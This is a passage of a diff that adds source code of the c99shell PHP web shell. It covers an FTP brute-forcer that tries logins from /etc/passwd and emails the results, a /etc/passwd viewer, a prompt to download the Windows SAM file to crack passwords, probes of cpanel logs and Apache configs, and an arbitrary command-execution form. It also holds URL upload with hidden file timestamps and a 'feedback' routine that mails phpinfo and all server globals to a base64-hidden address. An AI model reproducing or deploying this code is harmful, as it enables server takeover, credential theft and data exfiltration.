fopen($fqb_logfile,"w");} + else {$fqb_logfp = FALSE;} + $fqb_log = "FTP Quick Brute (called c99shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n"; + if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + } + ob_flush(); + $i = $success = 0; + $ftpquick_st = getmicrotime(); + while(!feof($fp)) + { + $str = explode(":",fgets($fp,2048)); + if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) + { + echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>"; + $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + $success++; + ob_flush(); + } + if ($i > $fqb_lenght) {break;} + $i++; + } + if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";} + $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); + echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>"; + $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + if ($fqb_logemail) {@mail($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);} + fclose($fqb_logfp); + } + } + else + { + $logfile = $tmpdir_logs."c99sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log"; + $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile); + echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\"><br>Read first: <input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging?&nbsp;<input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file?&nbsp;<input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail?&nbsp;<input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=submit name=submit value=\"Brute\"></form>"; + } + } +} +if ($act == "d") +{ + if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";} + else + { + echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>"; + if (!$win) + { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d)); + $gr = posix_getgrgid(filegroup($d)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>"; + } +} +if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99shexit();} +if ($act == "security") +{ + echo "<center><b>Server security information:</b></center><b>Open base dir: ".$hopenbasedir."</b><br>"; + if (!$win) + { + if ($nixpasswd) + { + if ($nixpasswd == 1) {$nixpasswd = 0;} + echo "<b>*nix /etc/passwd:</b><br>"; + if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} + if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} + echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>"; + $i = $nixpwd_s; + while ($i < $nixpwd_e) + { + $uid = posix_getpwuid($i); + if ($uid) + { + $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>"; + echo join(":",$uid)."<br>"; + } + $i++; + } + } + else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";} + } + else + { + $v = $_SERVER["WINDIR"]."\repair\sam"; + if (file_get_contents($v)) {echo "<b><font color=red>You can't crack winnt passwords(".$v.") </font></b><br>";} + else {echo "<b><font color=green>You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ .</font></b><br>";} + } + if (file_get_contents("/etc/userdomains")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=userdomains&d=".urlencode("/etc")."&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";} + if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=accounting.log&d=".urlencode("/var/cpanel/")."\"&ft=txt><u><b>View cpanel logs</b></u></a></font></b><br>";} + if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/usr/local/apache/conf")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=syslog.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/motd")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=motd&d=".urlencode("/etc")."&ft=txt\"><u><b>Message Of The Day</b></u></a></font></b><br>";} + if (file_get_contents("/etc/hosts")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=hosts&d=".urlencode("/etc")."&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";} + function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}} + displaysecinfo("OS Version?",myshellexec("cat /proc/version")); + displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version")); + displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net")); + displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise")); + displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo")); + displaysecinfo("RAM",myshellexec("free -m")); + displaysecinfo("HDD space",myshellexec("df -h")); + displaysecinfo("List of Attributes",myshellexec("lsattr -a")); + displaysecinfo("Mount options ",myshellexec("cat /etc/fstab")); + displaysecinfo("Is cURL installed?",myshellexec("which curl")); + displaysecinfo("Is lynx installed?",myshellexec("which lynx")); + displaysecinfo("Is links installed?",myshellexec("which links")); + displaysecinfo("Is fetch installed?",myshellexec("which fetch")); + displaysecinfo("Is GET installed?",myshellexec("which GET")); + displaysecinfo("Is perl installed?",myshellexec("which perl")); + displaysecinfo("Where is apache",myshellexec("whereis apache")); + displaysecinfo("Where is perl?",myshellexec("whereis perl")); + displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf")); + displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf")); + displaysecinfo("locate my.conf",myshellexec("locate my.conf")); + displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf")); +} +if ($act == "mkfile") +{ + if ($mkfile != $d) + { + if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";} + elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";} + else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} + } + else {$act = $dspact = "ls";} +} +if ($act == "encoder") +{ + echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>"; + foreach(array("md5","crypt","sha1","crc32") as $v) + { + echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>"; + } + echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly> + <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly> + <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>"; + echo "<center>base64_decode - "; + if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";} + else + { + $debase64 = base64_decode($encoder_input); + $debase64 = str_replace("\0","[0]",$debase64); + $a = explode("\r\n",$debase64); + $rows = count($a); + $debase64 = htmlspecialchars($debase64); + if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";} + else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";} + echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>"; + } + echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\""; + $c = strlen($encoder_input); + for($i=0;$i<$c;$i++) + { + $hex = dechex(ord($encoder_input[$i])); + if ($encoder_input[$i] == "&") {echo $encoder_input[$i];} + elseif ($encoder_input[$i] != "\\") {echo "%".$hex;} + } + echo "\" readonly><br></center></form>"; +} +if ($act == "fsbuff") +{ + $arr_copy = $sess_data["copy"]; + $arr_cut = $sess_data["cut"]; + $arr = array_merge($arr_copy,$arr_cut); + if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";} + else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";} +} +if ($act == "selfremove") +{ + if (($submit == $rndcode) and ($submit != "")) + { + if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c99shell v.".$shver."!"; c99shexit(); } + else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";} + } + else + { + if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";} + $rnd = rand(0,9).rand(0,9).rand(0,9); + echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>"; + } +} +if ($act == "update") {$ret = c99sh_getupdate(!!$confirmupdate); echo "<b>".$ret."</b>"; if (stristr($ret,"new version")) {echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";}} +if ($act == "feedback") +{ + $suppmail = base64_decode("Yzk5c2hlbGxAY2N0ZWFtLnJ1"); + if (!empty($submit)) + { + $ticket = substr(md5(microtime()+rand(1,1000)),0,6); + $body = "c99shell v.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR; + if (!empty($fdbk_ref)) + { + $tmp = @ob_get_contents(); + ob_clean(); + phpinfo(); + $phpinfo = base64_encode(ob_get_contents()); + ob_clean(); + echo $tmp; + $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n"; + } + mail($suppmail,"c99shell v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail); + echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>"; + } + else {echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=feedback><b>Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):<br><br>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"><br><br>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"><br><br>Message:<br><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br><br>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br>There are no checking in the form.<br><br>* - strongly recommended, if you report bug, because we need it for bug-fix.<br><br>We understand languages: English, Russian.<br><br><input type=\"submit\" name=\"submit\" value=\"Send\"></form>";} +} +if ($act == "search") +{ + echo "<b>Search in file-system:</b><br>"; + if (empty($search_in)) {$search_in = $d;} + if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} + if (empty($search_text_wwo)) {$search_text_regexp = 0;} + if (!empty($submit)) + { + $found = array(); + $found_d = 0; + $found_f = 0; + $search_i_f = 0; + $search_i_d = 0; + $a = array + ( + "name"=>$search_name, "name_regexp"=>$search_name_regexp, + "text"=>$search_text, "text_regexp"=>$search_text_regxp, + "text_wwo"=>$search_text_wwo, + "text_cs"=>$search_text_cs, + "text_not"=>$search_text_not + ); + $searchtime = getmicrotime(); + $in = array_unique(explode(";",$search_in)); + foreach($in as $v) {c99fsearch($v);} + $searchtime = round(getmicrotime()-$searchtime,4); + if (count($found) == 0) {echo "<b>No files found!</b>";} + else + { + $ls_arr = $found; + $disp_fullpath = TRUE; + $act = "ls"; + } + } + echo "<form method=POST> +<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\"> +<b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp +<br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"> +<br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea> +<br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text +<br><br><input type=submit name=submit value=\"Search\"></form>"; + if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";} +} +if ($act == "chmod") +{ + $mode = fileperms($d.$f); + if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";} + else + { + $form = TRUE; + if ($chmod_submit) + { + $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); + if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";} + else {$err = "Can't chmod to ".$octet.".";} + } + if ($form) + { + $perms = parse_perms($mode); + echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>"; + } + } +} +if ($act == "upload") +{ + $uploadmess = ""; + $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath); + if (empty($uploadpath)) {$uploadpath = $d;} + elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";} + if (!empty($submit)) + { + global $HTTP_POST_FILES; + $uploadfile = $HTTP_POST_FILES["uploadfile"]; + if (!empty($uploadfile["tmp_name"])) + { + if (empty($uploadfilename)) {$destin = $uploadfile["name"];} + else {$destin = $userfilename;} + if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";} + } + elseif (!empty($uploadurl)) + { + if (!empty($uploadfilename)) {$destin = $uploadfilename;} + else + { + $destin = explode("/",$destin); + $destin = $destin[count($destin)-1]; + if (empty($destin)) + { + $i = 0; + $b = ""; + while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}} + } + if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";} + else + { + $st = getmicrotime(); + $content = @file_get_contents($uploadurl); + $dt = round(getmicrotime()-$st,4); + if (!$content) {$uploadmess .= "Can't download file!<br>";} + else + { + if ($filestealth) {$stat = stat($uploadpath.$destin);} + $fp = fopen($uploadpath.$destin,"w"); + if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";} + else + { + fwrite($fp,$content,strlen($content)); + fclose($fp); + if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);} + } + } + } + } + } + if ($miniform) + { + echo "<b>".$uploadmess."</b>"; + $act = "ls"; + } + else + { + echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST> +Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or<br> +Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br> +Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br> +File-name (auto-fill): <input name=uploadfilename size=25><br><br> +<input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase<br><br> +<input type=submit name=submit value=\"Upload\"> +</form>"; + } +} +if ($act == "delete") +{ + $delerr = ""; + foreach ($actbox as $v) + { + $result = FALSE; + $result = fs_rmobj($v); + if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";} + } + if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;} + $act = "ls"; +} +if (!$usefsbuff) +{ + if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";} +} +else +{ + if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; } + elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";} + elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";} + if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);} + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; + } + elseif ($actarcbuff) + { + $arcerr = ""; + if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} + else {$ext = ".tar.gz";} + if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} + $cmdline .= " ".$actarcbuff_path; + $objects = array_merge($sess_data["copy"],$sess_data["cut"]); + foreach($objects as $v) + { + $v = str_replace("\\",DIRECTORY_SEPARATOR,$v); + if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} + if (is_dir($v)) + { + if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} + $v .= "*"; + } + $cmdline .= " ".$v; + } + $tmp = realpath("."); + chdir($d); + $ret = myshellexec($cmdline); + chdir($tmp); + if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";} + $ret = str_replace("\r\n","\n",$ret); + $ret = explode("\n",$ret); + if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} + foreach($sess_data["cut"] as $k=>$v) + { + if (in_array($v,$ret)) {fs_rmobj($v);} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;} + $act = "ls"; + } + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; + } +} +if ($act == "cmd") +{ +if (trim($cmd) == "ps -aux") {$act = "processes";} +elseif (trim($cmd) == "tasklist") {$act = "processes";} +else +{ + @chdir($chdir); + if (!empty($submit)) + { + echo "<b>Result of execution this command</b>:<br>"; + $olddir = realpath("."); + @chdir($d); + $ret = myshellexec($cmd); + $ret = convert_cyr_string($ret,"d","w"); + if ($cmd_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + @chdir($olddir); + } + else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}} + echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>"; +} +} +if ($act == "ls") +{ + if (count($ls_arr) > 0) {$list = $ls_arr;} + else + { + $list = array(); + if ($h = @opendir($d)) + { + while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;} + closedir($h); + } + else {} + } + if (count($list) == 0) {echo "<center><b>Can't open folder (".htmlspecialchars($d).")!</b></center>";} + else + { + //Building array + $objects = array(); + $vd = "f"; //Viewing mode + if ($vd == "f") + { + $objects["head"] = array(); + $objects["folders"] = array(); + $objects["links"] = array(); + $objects["files"] = array(); + foreach ($list as $v) + { + $o = basename($v); + $row = array(); + if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";} + elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";} + elseif (is_dir($v)) + { + if (is_link($v)) {$type = "LINK";} + else {$type = "DIR";} + $row[] = $v; + $row[] = $type; + } + elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} + $row[] = filemtime($v); + if (!$win) + { + $ow = posix_getpwuid(fileowner($v)); + $gr = posix_getgrgid(filegroup($v)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v)); + } + $row[] = fileperms($v); + if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} + elseif (is_link($v)) {$objects["links"][] = $row;} + elseif (is_dir($v)) {$objects["folders"][] = $row;} + elseif (is_file($v)) {$objects["files"][] = $row;} + $i++; + } + $row = array(); + $row[] = "<b>Name</b>"; + $row[] = "<b>Size</b>"; + $row[] = "<b>Modify</b>"; + if (!$win) + {$row[] = "<b>Owner/Group</b>";} + $row[] = "<b>Perms</b>"; + $row[] = "<b>Action</b>"; + $parsesort = parsesort($sort); + $sort = $parsesort[0].$parsesort[1]; + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$parsesort[1] = "d";} + $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">"; + $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>"; + $row[$k] .= $y; + for($i=0;$i<count($row)-1;$i++) + { + if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";} + } + $v = $parsesort[0]; + usort($objects["folders"], "tabsort"); + usort($objects["links"], "tabsort"); + usort($objects["files"], "tabsort"); + if ($parsesort[1] == "d") + { + $objects["folders"] = array_reverse($objects["folders"]); + $objects["files"] = array_reverse($objects["files"]); + } + $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]); + $tab = array(); + $tab["cols"] = array($row); + $tab["head"] = array(); + $tab["folders"] = array(); + $tab["links"] = array(); + $tab["files"] = array(); + $i = 0; + foreach ($objects as $a) + { + $v = $a[0]; + $o = basename($v); + $dir = dirname($v); + if ($disp_fullpath) {$disppath = $v;} + else {$disppath = $o;} + $disppath = str2mini($disppath,60); + if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";} + elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";} + 